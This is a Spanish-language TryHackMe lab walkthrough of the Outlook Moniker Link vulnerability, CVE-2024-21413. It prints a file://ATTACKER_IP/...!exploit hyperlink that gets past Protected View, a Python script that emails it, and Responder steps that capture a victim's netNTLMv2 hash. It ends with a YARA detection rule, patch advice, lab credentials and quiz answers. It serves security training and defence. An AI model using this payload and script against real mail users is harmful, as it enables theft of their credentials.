
El 13 de febrero de 2024, Microsoft anunció una vulnerabilidad de ejecución remota de código (RCE) y fuga de credenciales en Microsoft Outlook con el CVE asignado CVE-2024-21413 (Moniker Link). Se atribuye el descubrimiento de la vulnerabilidad a Haifei Li de Check Point Research. La vulnerabilidad elude los mecanismos de seguridad de Outlook al manejar un tipo específico de hipervínculo.
El 13 de febrero de 2024, Microsoft anunció una vulnerabilidad de RCE y fuga de credenciales en Microsoft Outlook con el CVE asignado CVE-2024-21413 (Moniker Link). Haifei Li de Check Point Research es acreditado por descubrir la vulnerabilidad.
La vulnerabilidad elude los mecanismos de seguridad de Outlook al manejar un tipo específico de hipervínculo conocido como Moniker Link. Un atacante puede abusar de esto enviando un correo electrónico que contenga un Moniker Link malicioso a una víctima, lo que provoca que Outlook envíe las credenciales NTLM del usuario al atacante una vez que se hace clic en el hipervínculo.
Los detalles relacionados con la puntuación de la vulnerabilidad se han proporcionado en la tabla a continuación:
CVSS Descripción Fecha de publicación 13 de febrero de 2024 Artículo de MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impacto Ejecución remota de código y fuga de credenciales Gravedad Crítica Complejidad del ataque Baja Puntuación 9.8
Se sabe que la vulnerabilidad afecta las siguientes versiones de Office:
Lanzamiento Versión Microsoft Office LTSC 2021 afectado desde 19.0.0 Microsoft 365 Apps for Enterprise afectado desde 16.0.1 Microsoft Office 2019 afectado desde 16.0.1 Microsoft Office 2016 afectado desde 16.0.0 antes de 16.0.5435.1001
Ten en cuenta que necesitarás tanto el AttackBox como la máquina vulnerable adjunta a esta tarea. Para desplegar la máquina virtual adjunta, presiona el botón verde "Iniciar máquina" a continuación.
Usuario tryhackme Contraseña Kkh3gv439dnq!
¿Qué calificación de "Gravedad" se le ha asignado al CVE? > RESPUESTA : Crítica
Outlook puede renderizar correos electrónicos como HTML. Puede que notes que esto se usa en tus boletines favoritos. Además, Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifiquen aplicaciones conocidas como Moniker Links. Normalmente, Outlook mostrará una advertencia de seguridad cuando se activen aplicaciones externas.
La Vista Protegida de Outlook se activa al lanzar una aplicación externa
Esta ventana emergente es el resultado de la "Vista Protegida" de Outlook. La Vista Protegida abre correos electrónicos que contienen archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando elementos como macros (especialmente de fuera de una organización).
Al usar el Moniker Link file:// en nuestro hipervínculo, podemos indicar a Outlook que intente acceder a un archivo, como un archivo en un recurso compartido de red (<a href="file://ATTACKER_IP/test">Click me</a>). Se utiliza el protocolo SMB, que implica el uso de credenciales locales para la autenticación. Sin embargo, la "Vista Protegida" de Outlook detecta y bloquea este intento.
La vulnerabilidad aquí existe al modificar nuestro hipervínculo para incluir el carácter especial ! y algo de texto en nuestro Moniker Link, lo que resulta en eludir la Vista Protegida de Outlook. Por ejemplo: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Nosotros, como atacantes, podemos proporcionar un Moniker Link de esta naturaleza para el ataque. Ten en cuenta que el recurso compartido no necesita existir en el dispositivo remoto, ya que se intentará una autenticación de todas formas, lo que llevará a que el hash netNTLMv2 de Windows de la víctima se envíe al atacante.
La ejecución remota de código (RCE) es posible porque los Moniker Links utilizan el Modelo de Objetos Componentes (COM) en Windows. Sin embargo, explicar esto está actualmente fuera del alcance de esta sala, ya que no hay una prueba de concepto publicada para lograr RCE a través de este CVE específico.
¿Qué tipo de Moniker Link usamos en el hipervínculo? > RESPUESTA : file:// ¿Cuál es el carácter especial utilizado para eludir la "Vista Protegida" de Outlook? > RESPUESTA : !
Para este ataque, enviaremos por correo electrónico a nuestra víctima un Moniker Link similar al proporcionado en la tarea anterior. El objetivo, como atacante, es elaborar un correo electrónico para la víctima con un Moniker Link que eluda la "Vista Protegida" de Outlook, donde el cliente de la víctima intentará cargar un archivo desde nuestra máquina atacante, resultando en la captura del hash netNTLMv2 de la víctima.
Pero primero, revisemos un PoC que he creado (que también está disponible en GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
El PoC:
Usemos Responder para crear un listener SMB en nuestra máquina atacante. Para el AttackBox de THM, la interfaz será -I ens5. El nombre de la interfaz diferirá si usas tu propio dispositivo (ej. Kali). Si quieres tarea adicional, también se puede usar un servidor Impacket.
Iniciando Responder en nuestro AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Abramos la máquina vulnerable presionando el panel "CVE-2024-21413" en la vista de pantalla dividida.
Abre Outlook haciendo clic en el acceso directo "Outlook" en el escritorio. Cuando Outlook se haya abierto, haz clic en "No quiero iniciar sesión ni crear una cuenta" en la ventana emergente.
Descarta la segunda ventana emergente haciendo clic en la "X" en la parte superior derecha de la ventana (es posible que debas arrastrar la ventana un poco hacia la izquierda, dependiendo de la resolución de tu pantalla).
Cuando hayas terminado, verás la interfaz de Outlook. En esta sala, el buzón de la víctima ya ha sido configurado en Outlook para ti.
Regresa a tu AttackBox. Vamos a copiar y pegar el PoC anterior en el AttackBox.
Para esto, crearemos un nuevo archivo en el AttackBox. nano exploit.py y usaremos la bandeja deslizable en la vista de pantalla dividida. Consulta el GIF a continuación para ver esto en acción.
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
Necesitaremos hacer una configuración inicial en nuestro AttackBox antes de ejecutar el script de Python:
Cuando hayas terminado, podemos ejecutar el exploit. Cuando se solicite la contraseña del correo electrónico del atacante, ingresa "attacker".
Ejecutando exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
El script de Python imprimirá "Email delivered" cuando el correo haya sido enviado. Si el script se queja de un error de autenticación, asegúrate de haber reemplazado correctamente los valores en exploit.py. Ahora, regresemos a la máquina vulnerable y revisemos el nuevo correo electrónico:
Haz clic en el hipervínculo "Click me" y regresa a nuestra sesión de terminal "Responder" en el AttackBox:
¡Éxito! El hash netNTLMv2 de la víctima ha sido capturado en nuestro AttackBox.
¿Cuál es el nombre de la aplicación que usamos en el AttackBox para capturar el hash del usuario? > RESPUESTA : responder ¿Qué tipo de hash se captura una vez que se hace clic en el hipervínculo del correo electrónico? > RESPUESTA : netNTLMv2
Se ha creado una regla YARA por Florian Roth para detectar correos electrónicos que contengan el elemento file:\ en el Moniker Link.
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Además, la solicitud SMB de la víctima al cliente se puede ver en una captura de paquetes con un hash netNTLMv2 truncado.
¡Haz clic en mí para continuar a la siguiente tarea! > RESPUESTA : SIN RESPUESTA
Microsoft ha incluido parches para resolver esta vulnerabilidad en el lanzamiento del "martes de parches" de febrero. Puedes ver una lista de artículos KB por compilación de Office aquí. Se recomienda encarecidamente actualizar Office a través de Windows Update o el Catálogo de Actualizaciones de Microsoft.
Además, mientras tanto, es un recordatorio oportuno para practicar medidas generales de ciberseguridad seguras. Por ejemplo, recordar a los usuarios:
Dado que esta vulnerabilidad elude la Vista Protegida de Outlook, no hay forma de reconfigurar Outlook para prevenir este ataque. Además, prevenir completamente el protocolo SMB puede causar más daño que beneficio, especialmente porque es esencial para acceder a recursos compartidos de red. Sin embargo, es posible que puedas bloquear esto a nivel de firewall, dependiendo de la organización.
Haz clic en mí para continuar a la siguiente tarea. > RESPUESTA : SIN RESPUESTA